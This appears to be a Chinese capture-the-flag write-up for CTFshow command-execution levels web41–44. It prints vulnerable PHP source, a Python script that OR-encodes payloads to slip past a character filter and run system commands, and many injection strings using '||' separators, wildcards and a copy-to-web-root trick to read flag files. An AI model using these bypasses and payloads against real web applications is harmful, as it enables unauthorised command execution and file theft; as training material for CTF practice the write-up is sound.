CTFshow系列——命令执行web41-44
今天给大家继续带来命令执行的部分关卡代码以及payload,注意重要的是思路而不是代码;
文章目录
- Web41
- Web42
- Web43(新方法)
- 第二种方法
- Web44
- 总结
Web41
<?phpif(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>
老样子,先看代码:
- 发现需要用到POST请求方式
- 并且没过滤
空格
,%
,/
,'
,“
这么看感觉有点机会?
其实并没有,我把能试过的都试过了:
下面是大佬的一个思路:
- 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
- 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
- 使用POST请求发送c,获取flag
import re
import urllib
from urllib import parse
import requestscontents = []for i in range(256):for j in range(256):hex_i = '{:02x}'.format(i)hex_j = '{:02x}'.format(j)preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):continueelse:a = '%' + hex_ib = '%' + hex_jc = chr(int(a[1:], 16) | int(b[1:], 16))if 32 <= ord(c) <= 126:contents.append([c, a, b])def make_payload(cmd):payload1 = ''payload2 = ''for i in cmd:for j in contents:if i == j[0]:payload1 += j[1]payload2 += j[2]breakpayload = '("' + payload1 + '"|"' + payload2 + '")'return payloadURL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)
直接输入题目的URL就完事。。。
Web42
老样子,先看代码:
<?phpif(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}
这里我们发现>/dev/null 2>&1
,这又有什么意思?
- 含义:
- 将
>/dev/null 2>&1
组合起来,它的完整含义是: /dev/null
:将命令的标准输出重定向到 /dev/null。2>&1
:将文件描述符 2(标准错误)重定向到文件描述符 1(标准输出)。
- 将
因为标准输出 1 已经被重定向到了 /dev/null,所以这条语句的整体效果就是:将标准输出和标准错误都重定向到 /dev/null。
但这也有一个问题:这意味着,无论你执行什么命令(例如 ls、id 或 cat flag.php),你都不会在网页上看到命令的任何返回结果,因为它们都被丢弃了。
这对漏洞利用构成了挑战,因为它阻止了你直接看到 ls 或 cat 命令的执行结果。你需要找到盲注或带外数据(Out-of-Band)的方法来获取信息。
思路:那么我们能不能在命令被”阻止“前,输出我们想要的结果?
- 使用 "
;
" "||
" "&
" "&&
" 分隔 - >/dev/null 2>&1是不进行回显,所以采用命令把flag打印出来,利用;分隔分化一下
# payload
?c=tac flag.php ||ls# 用;分隔命令
?c=ls;ls # 起作用的是第一个命令——> ls
?c=tac flag.php;ls
查看文件名:
得到flag:
–
Web43(新方法)
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
很明显,只不过是过滤了点关键词罢了。
那么还是按照Web37—Web40的思路,不断地根据关键词进行绕过,执行命令:
cat
被过滤:
- 用nl 替代;tac逆序输出;less/more;head;tail;type;
而
;
被过滤:
- 可以使用 " ; " " || " " & " " && " 分隔
所以我们可以得到的payload为:
# 查看文件
?c=ls||ls
# 得到flag
?c=tac flag.php||ls # 查看源代码
?c=nl flag.php ||ls
?c=head -n 20 flag.php ||ls
?c=tail -n 20 flag.php ||ls
?c=more flag.php ||ls
?c=less flag.php ||ls
第二种方法
既然问题在于重定向,那么绕过它的方法就是让命令的输出不走标准输出,而是写入您可以访问的地方:
答:那么我们是不是可以将flag的内容,复制到一个新文件,然后我们再访问新文件的内容即可?
# 将内容复制到out.txt
?c=cp flag.php out.txt
然后再访问 https://7637a8aa-19c4-443f-a124-3a4cdaa54c49.challenge.ctf.show/out.txt
显示结果如下:
这也是一种方法;
–
Web44
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
简单一看,多了 flag 关键词的过滤,之前我们也说过:
可以用 fl\ag.php
| fla*
| fla?.php
等方式来过滤;
那么话不多说,直接动手:
payload
?c=tac fla* ||ls# 查看源代码
?c=nl fla* ||ls
?c=head -n 20 fla* ||ls
?c=tail -n 20 fla* ||ls
?c=more fla* ||ls
?c=less fla*||ls
同理,第二种方法也是可以的;
具体步骤看上一关的操作,不再赘述
# 给个payload
?c=cp fla* out.txt
# 直接访问
?out.txt
总结
今天的部分暂时写到这里,我也要准备准备9月的重保面试了。